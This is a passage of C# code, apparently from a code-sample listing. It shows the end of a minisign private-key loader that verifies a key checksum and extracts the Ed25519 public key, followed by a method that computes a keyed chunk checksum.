            minisignPrivateKey.Checksum  = ArrayHelpers.SubArray(decryptedKeyData, 72, 32);

            if (minisignPrivateKey.KeyId.Length != KeyNumBytes)
            {
                throw new CorruptPrivateKeyException("bad KeyId length");
            }

            var calculatedChecksum =
                GenericHash.Hash(
                    ArrayHelpers.ConcatArrays(minisignPrivateKey.SignatureAlgorithm, minisignPrivateKey.KeyId,
                                              minisignPrivateKey.SecretKey), null, 32);

            if (!ArrayHelpers.ConstantTimeEquals(minisignPrivateKey.Checksum, calculatedChecksum))
            {
                throw new CorruptPrivateKeyException("bad private key checksum");
            }
            // extract the public key from the private key
            minisignPrivateKey.PublicKey =
                PublicKeyAuth.ExtractEd25519PublicKeyFromEd25519SecretKey(minisignPrivateKey.SecretKey);

            return(minisignPrivateKey);
        }
Exemple #30
0
 /// <summary>
 ///     Sets the chunk checksum.
 /// </summary>
 /// <param name="ephemeralKey">A 64 byte key.</param>
 /// <param name="chunkChecksumLength">The length of the checksum.</param>
 public void SetChunkChecksum(byte[] ephemeralKey, int chunkChecksumLength)
 {
     ChunkChecksum = GenericHash.Hash(ArrayHelpers.ConcatArrays(_checksumChunkPrefix, Chunk,
                                                                Utils.IntegerToLittleEndian(ChunkLength)),
                                      Utils.GetEphemeralHashKey(ephemeralKey), chunkChecksumLength);
 }